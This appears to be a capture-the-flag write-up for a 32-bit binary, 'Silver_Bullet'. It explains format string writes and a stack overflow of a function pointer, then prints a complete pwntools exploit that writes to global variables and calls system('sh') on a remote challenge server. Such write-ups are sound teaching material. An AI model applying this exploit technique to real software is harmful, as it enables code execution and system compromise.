main
allocates a buffer of size 256 on the stack, zeroes it and stores user input in it (usingread
).main
then calls a function with that buffer, which- initializes a function pointer to a benign function
- calls
'printf
on the buffer with user input - calls
strcpy
to copy the user input into a buffer of size 20 on the stack
We also notice a function we'll call run_global_cmd
that basically does if (cmd_active == 1) { system(cmd_string); }
, where the two variables are global.
So, with these constraints, we can figure out that a successful exploit must perform these steps:
* use a format string exploit to:
* set `cmd_active` to `
* set some buffer somewhere to the string 'sh'
* set `cmd_string` to point to this buffer
* overflow the buffer in the inner function so that the function pointer is
changed to point to `run_global_cmd`
If you're as rusty as me on format string attacks, here's a quick primer...
A format specifier like %20$n
writes the number of written bytes to the int
pointer given in 20th parameter to printf. By using hn
or hhn
instead of
n
, a short
or char
with the number of written bytes is written.
Since the buffer with user input is stored on the stack, we can just refer to
its contents from the format string as the Nth parameter to printf
. So writing
to an arbitrary address is as simple as including that address in the user
input, and figuring out the offset from the stack frame for printf
.
Since writing large-ish 32bit values directly would require the generation of a huge amount of text, it is better to write each byte of the 32bit value individually.
To write e.g. 20 additional bytes to the output, a format specifier like %20c
can be used.
By taking these things together, I ended up with this exploit script:
#!/usr/bin/env python2
from pwn import *
import sys
import os
context.arch = 'i386'
#p = process('./Silver_Bullet', stdout=PIPE)
p = remote('37.139.17.37', 7331)
e = ELF('./Silver_Bullet')
cmd_string = 0x804a030 # the global variable used by run_global_cmd to find the pointer to the command for system()
cmd_active = 0x804a02c # the global variable used by run_global_cmd to decide whether to call system() or not
destruct_bool = 0x804a028 # some global variable used by a destructor. we clobber this to store the string 'sh'
run_global_cmd = 0x80486c7 # a function that basically does: if (cmd_active == 1) { system(cmd_string); }
# the stack buffer with our user input is the 20th parameter to printf
param_idx = 20
# the 20th byte in the buffer is used as a function pointer after strcpy
overflow_offset = 20
payload = ''
# overflow the strcpy into the function pointer
payload += overflow_offset * 'a'
payload += p32(run_global_cmd)
# store pointers we need to write to on the stack
payload += p32(cmd_active) # param 26 = (param_idx + len(payload) / 4)
payload += p32(destruct_bool) # param 27
payload += p32(cmd_string) # param 28
payload += p32(cmd_string + 1)
payload += p32(cmd_string + 2)
payload += p32(cmd_string + 3)
num_written = len(payload)
def write(value, param_index, num_bytes=1):
max_val = 256 ** num_bytes
global payload, num_written
assert 0 <= value < max_val
write = (value - num_written) % max_val
num_written += write
payload += '%{}c'.format(write)
if num_bytes == 1:
payload += '%{}$hhn'.format(param_index)
elif num_bytes == 2:
payload += '%{}$hn'.format(param_index)
elif num_bytes == 4:
payload += '%{}$n'.format(param_index)
else:
raise Exception("can't write {} bytes in a single operation".format(num_bytes))
# write 0x01 to cmd_active:
write(1, 26)
# write 'sh' to destruct_bool:
write(u16('sh'), 27, num_bytes=2)
# write destruct_bool to cmd_string
# do it byte-by-byte so that we don't have to wait for a ton of useless data to be printed
for param, c in enumerate(p32(destruct_bool), start=28):
write(ord(c), param)
#gdb.attach(p)
p.sendline(payload)
p.recv()
p.sendline('echo abcd')
p.recvuntil('abcd\n')
p.interactive()